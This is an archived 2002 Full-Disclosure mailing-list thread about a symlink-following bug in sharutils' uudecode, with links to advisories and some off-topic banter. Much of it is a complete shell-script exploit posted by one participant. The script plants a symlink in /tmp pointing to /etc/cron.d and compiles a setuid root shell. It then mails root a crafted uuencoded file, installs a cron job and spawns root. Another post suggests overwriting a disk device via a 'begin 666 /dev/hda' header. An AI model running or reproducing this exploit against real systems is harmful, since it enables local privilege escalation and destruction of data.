Mailing List Archive

The problem seems to be that by default uudecode uses as the output filename
the same filename used when the file was uuencoded. The fix is apparently to
stop it following symbolic links. So an attacker couldn't uuencode with a
filename that was in the /tmp directory. Then link the file in the tmp
directory to whatever they wanted. My guess is you can't specify an absolute
path (or ../) in the filename, and the assumption is that lots of people
extract these files in the tmp directory where malicous symbolic links might
reside.

Regardless it's not a 'grave' security problem as some people have said. And
no, Uuencode isn't (or shouldn't be) suid/sgid before you ask.

- Blazde

----- Original Message -----
From: "martin f krafft" <madduck@madduck.net>
To: "full-disclosure people" <full-disclosure@lists.netsys.com>
Sent: Tuesday, July 16, 2002 12:24 AM
Subject: [Full-Disclosure] Sharutils buggy?

Well you could check out some e-mail programs etc... Imagine that an
attacker sends e-mail to root@some.host with a uuencoded attachment. The
attacker has local access to the machine and knows that root's e-mail
program calls system("uudecode %s",file) would allow the attacker to
setup the uuencode file in such a fashion as to make this work...
whether such a case exists is pure speculation. But out of boredom I've
attached a theorhetical exploit.

peace,
core

martin f krafft wrote:
> I'd like to get some educated thoughts and opinions on a recently found
> potential bug:
>
> http://www.aerasec.de/security/index.html?lang=en&id=ae-200205-037
> http://online.securityfocus.com/bid/4742
> http://www.aerasec.de/security/index.html?lang=en&id=ae-200205-049
> http://www.aerasec.de/security/index.html?lang=en&id=ae-200204-033
> http://bugs.debian.org/149454
> http://www.kb.cert.org/vuls/id/336083
>
> cheers,
>

Actually it uses the full path.. at least on debian.. see previously
attached concept exploit. Of course I had to create a retarded mail
program that simply rand uudecode on the attachment. ;)

peace,
core

Roland Postle wrote:
> The problem seems to be that by default uudecode uses as the output filename
> the same filename used when the file was uuencoded. The fix is apparently to
> stop it following symbolic links. So an attacker couldn't uuencode with a
> filename that was in the /tmp directory. Then link the file in the tmp
> directory to whatever they wanted. My guess is you can't specify an absolute
> path (or ../) in the filename, and the assumption is that lots of people
> extract these files in the tmp directory where malicous symbolic links might
> reside.
>
> Regardless it's not a 'grave' security problem as some people have said. And
> no, Uuencode isn't (or shouldn't be) suid/sgid before you ask.
>
> - Blazde
>
> ----- Original Message -----
> From: "martin f krafft" <madduck@madduck.net>
> To: "full-disclosure people" <full-disclosure@lists.netsys.com>
> Sent: Tuesday, July 16, 2002 12:24 AM
> Subject: [Full-Disclosure] Sharutils buggy?
>
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Full-Disclosure@lists.netsys.com
> http://lists.netsys.com/mailman/listinfo/full-disclosure
>
>

One small fix it should create the file with 666 perms ;)

Charles 'core' Stevenson wrote:
> Well you could check out some e-mail programs etc... Imagine that an
> attacker sends e-mail to root@some.host with a uuencoded attachment. The
> attacker has local access to the machine and knows that root's e-mail
> program calls system("uudecode %s",file) would allow the attacker to
> setup the uuencode file in such a fashion as to make this work...
> whether such a case exists is pure speculation. But out of boredom I've
> attached a theorhetical exploit.
>
> peace,
> core
>
> martin f krafft wrote:
>
>> I'd like to get some educated thoughts and opinions on a recently found
>> potential bug:
>>
>> http://www.aerasec.de/security/index.html?lang=en&id=ae-200205-037
>> http://online.securityfocus.com/bid/4742
>> http://www.aerasec.de/security/index.html?lang=en&id=ae-200205-049
>> http://www.aerasec.de/security/index.html?lang=en&id=ae-200204-033
>> http://bugs.debian.org/149454
>> http://www.kb.cert.org/vuls/id/336083
>>
>> cheers,
>>
>
>
> ------------------------------------------------------------------------
>
> #!/bin/sh
> #
> # Conceptual uuencode + mailprogram privilege
> # local privilege escalation exploit
> #
> # Coded out of boredom...
> #
> # by Charles Stevenson <core@bokeoa.com>
> #
> # Mon Jul 15 18:22:13 MDT 2002
>
> target="/home/core/mymail" # Root's mail program that calls uudecode
> tempdir="/tmp"
>
> if [ -u /.sushi ] ; then
> exec /.sushi
> fi
>
> printf "Checking for $target..."
> if [ -f "$target" ] ; then
> echo "done."
> else
> echo "NO!"
> exit 1
> fi
>
> if [ ! -d "$tempdir/core" ]; then
> printf "Creating $tempdir/core..."
> if ! mkdir "$tempdir/core" 2>/dev/null ; then
> echo "FAILED!" ; exit 1
> fi
> echo "done."
> fi
>
> printf "Changing directory to $tempdir/core..."
> if ! cd "$tempdir/core" 2>/dev/null ; then
> echo "FAILED!" ; exit 1
> else
> echo "done."
> fi
>
> printf "Creating cron.d symlink..."
> if ! ln -fs /etc/cron.d/core you 2>/dev/null; then
> echo "FAILED!" ; exit 1
> else
> echo "done."
> fi
>
> printf "Changing umask..."
> if ! umask 000 ; then
> echo "FAILED!" ; exit 1
> else
> echo "done."
> fi
>
> printf "Compiling root shell..."
> cat >sushi.c <<EOF
> #include <unistd.h>
> int main (int argc, char **argv, char **envp) {
> setuid(0);
> setgid(0);
> execve("/bin/sh",argv,envp);
> return -1;
> }
> EOF
> if ! cc sushi.c -o sushi 2>/dev/null; then
> echo "FAILED!" ; exit 1
> else
> echo "done."
> fi
>
> printf "Compiling cron takeover..."
> cat >takeover.c <<EOF
> #include <stdlib.h>
> main() { system("cp $tempdir/core/sushi /.sushi ; chmod 6777 /.sushi"); }
> EOF
> if ! cc takeover.c -o own 2>/dev/null; then
> echo "FAILED!" ; exit 1
> fi
> echo "done."
>
> printf "Performing attack... come back when root reads his e-mail..."
> cat >gosh <<EOF
> core
> EOF
> uuencode gosh /tmp/core/you > uuownme
> if mail-files root@localhost ascii "WHITEHAT SECURITY NOTICE Your system was compromised. Attached is a tarball with details exlaining how." uuownme; then
> echo "FAILED!"; exit 1
> fi
> echo "MESSAGE SENT!"
>
> printf "Waiting for root to check his e-mail with $target..."
> while [ ! -u /etc/cron.d/core ] ; then
> sleep 1; printf "."
> done
> echo "DONE!!!"
>
> printf "Setting up evil cron job..."
> cat >croncore <<EOF
> */1 * * * * root if [ -x "$tempdir/core/own" ] ; then "$tempdir/core/own"; fi
> EOF
> if ! cat croncore 2>/dev/null >/etc/cron.d/core; then
> echo "FAILED!" ; exit 1
> else
> echo "done."
> fi
>
> printf "Waiting for root shell"
> while [ ! -u /.sushi ] ; do
> sleep 1 ; printf "."
> done
> echo "done."
>
> cd /
>
> printf "Cleaning up real quick..."
> if ! /.sushi -c "rm -rf $tempdir/core /etc/cron.d/core"; then
> echo "FAILED??? Fuck it!"
> else
> echo "done."
> fi
>
> echo "Spawning root shell!!! God Damn! I say GOD DAMN!!"
> if ! exec /.sushi -i; then
> echo "Exec Failed!!! BUMMER!" ; exit 1
> fi

Sorry for the spam all... my last message was sent in hast thinking I'd
made an error. It does in fact create the uuecoded file with 666 perms
because I remembered to call umask 0.. when I tested locally I forgot to
removed the first uuencode file I'd created before chaning umask...
sorry and enjoy the search for a program that calls uudecode as root on
a user supplied file.

peace,
core

heh I am drunk... fuckers ambushed me in my cubicle before I left work ...
-KF
you got malloc on ppc working?

KF wrote:

> heh I am drunk... fuckers ambushed me in my cubicle before I left work
> ...
> -KF
> you got malloc on ppc working?
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Full-Disclosure@lists.netsys.com
> http://lists.netsys.com/mailman/listinfo/full-disclosure
>
>
heh damn reply too...
-KF

--On Tuesday, July 16, 2002 01:24:30 AM +0200 martin f krafft
<madduck@madduck.net> wrote:

> I'd like to get some educated thoughts and opinions on a recently
> found potential bug:
>
> http://www.aerasec.de/security/index.html?lang=en&id=ae-200205-037
> http://online.securityfocus.com/bid/4742
> http://www.aerasec.de/security/index.html?lang=en&id=ae-200205-049
> http://www.aerasec.de/security/index.html?lang=en&id=ae-200204-033
> http://bugs.debian.org/149454
> http://www.kb.cert.org/vuls/id/336083

One additial memo:

The original advisory and afaik the fixed version from RHL still not
metioned that devices also are candidates for overwriting.

Think about

begin 666 /dev/hda
...


Peter

That's just plan evil Peter! ;)

peace,
core

Peter Bieringer wrote:
>
> --On Tuesday, July 16, 2002 01:24:30 AM +0200 martin f krafft
> <madduck@madduck.net> wrote:
>
>
>>I'd like to get some educated thoughts and opinions on a recently
>>found potential bug:
>>
>> http://www.aerasec.de/security/index.html?lang=en&id=ae-200205-037
>> http://online.securityfocus.com/bid/4742
>> http://www.aerasec.de/security/index.html?lang=en&id=ae-200205-049
>> http://www.aerasec.de/security/index.html?lang=en&id=ae-200204-033
>> http://bugs.debian.org/149454
>> http://www.kb.cert.org/vuls/id/336083
>
>
> One additial memo:
>
> The original advisory and afaik the fixed version from RHL still not
> metioned that devices also are candidates for overwriting.
>
> Think about
>
> begin 666 /dev/hda
> ...
>
>
> Peter
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Full-Disclosure@lists.netsys.com
> http://lists.netsys.com/mailman/listinfo/full-disclosure
>
>